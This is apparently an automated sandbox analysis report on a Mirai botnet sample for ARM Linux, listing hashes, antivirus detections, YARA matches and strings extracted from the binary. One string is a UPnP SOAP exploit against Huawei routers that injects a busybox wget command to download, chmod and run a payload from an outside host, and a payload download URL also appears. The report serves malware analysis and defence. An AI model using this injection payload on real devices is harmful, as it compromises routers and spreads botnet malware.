Linux Analysis Report
CAtgZotl2p.elf

Overview

General Information

Sample Name: CAtgZotl2p.elf
Original Sample Name: 05e0d5b0aa84ca78446d17c06417d27e.elf
Analysis ID: 1351992
MD5: 05e0d5b0aa84ca78446d17c06417d27e
SHA1: 0ca79c0d02a92079640457c616332e80b8e98c4a
SHA256: f067f5bef259ad96ad0ffe070ef872af1d8b9f4bf21f6552f8a481e64191a6d1
Tags: 32armelfmirai
Infos:

Detection

Mirai
Score: 72
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Yara detected Mirai
Multi AV Scanner detection for submitted file
Sample has stripped symbol table
Uses the "uname" system call to query kernel version information (possible evasion)
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Classification

Name Description Attribution Blogpost URLs Link
Mirai Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

AV Detection
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Antivirus / Scanner detection for submitted sample
Source: CAtgZotl2p.elf Avira: detected
Multi AV Scanner detection for submitted file
Source: CAtgZotl2p.elf ReversingLabs: Detection: 67%
Source: CAtgZotl2p.elf Virustotal: Detection: 56% Perma Link
Source: unknown DNS traffic detected: queries for: daisy.ubuntu.com
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: CAtgZotl2p.elf String found in binary or memory: http://scan.chromies.cf/9x83HE5AFD/arm7.jade
Source: CAtgZotl2p.elf String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: CAtgZotl2p.elf String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g scan.chromies.cf -l /tmp/binary -r /9x83HEAFD/mips.jade; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: classification engine Classification label: mal72.troj.linELF@0/0@2/0
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/CAtgZotl2p.elf (PID: 5454) Queries kernel information via 'uname': Jump to behavior
Source: CAtgZotl2p.elf, 5454.1.00007fffd7c93000.00007fffd7cb4000.rw-.sdmp Binary or memory string: ~qemu: uncaught target signal 11 (Segmentation fault) - core dumped
Source: CAtgZotl2p.elf, 5454.1.00007fffd7c93000.00007fffd7cb4000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/CAtgZotl2p.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/CAtgZotl2p.elf
Source: CAtgZotl2p.elf, 5454.1.0000563e80d9e000.0000563e80ecc000.rw-.sdmp Binary or memory string: >V!/etc/qemu-binfmt/arm
Source: CAtgZotl2p.elf, 5454.1.0000563e80d9e000.0000563e80ecc000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm
Source: CAtgZotl2p.elf, 5454.1.00007fffd7c93000.00007fffd7cb4000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm
Source: CAtgZotl2p.elf, 5454.1.00007fffd7c93000.00007fffd7cb4000.rw-.sdmp Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Stealing of Sensitive Information
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Yara detected Mirai
Source: Yara match File source: CAtgZotl2p.elf, type: SAMPLE
Source: Yara match File source: 5454.1.00007efb98017000.00007efb98035000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: CAtgZotl2p.elf PID: 5454, type: MEMORYSTR

Remote Access Functionality
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Yara detected Mirai
Source: Yara match File source: CAtgZotl2p.elf, type: SAMPLE
Source: Yara match File source: 5454.1.00007efb98017000.00007efb98035000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: CAtgZotl2p.elf PID: 5454, type: MEMORYSTR

No Screenshots

⊘No contacted IP infos

Contacted Domains

Name IP Active
daisy.ubuntu.com 162.213.35.24 true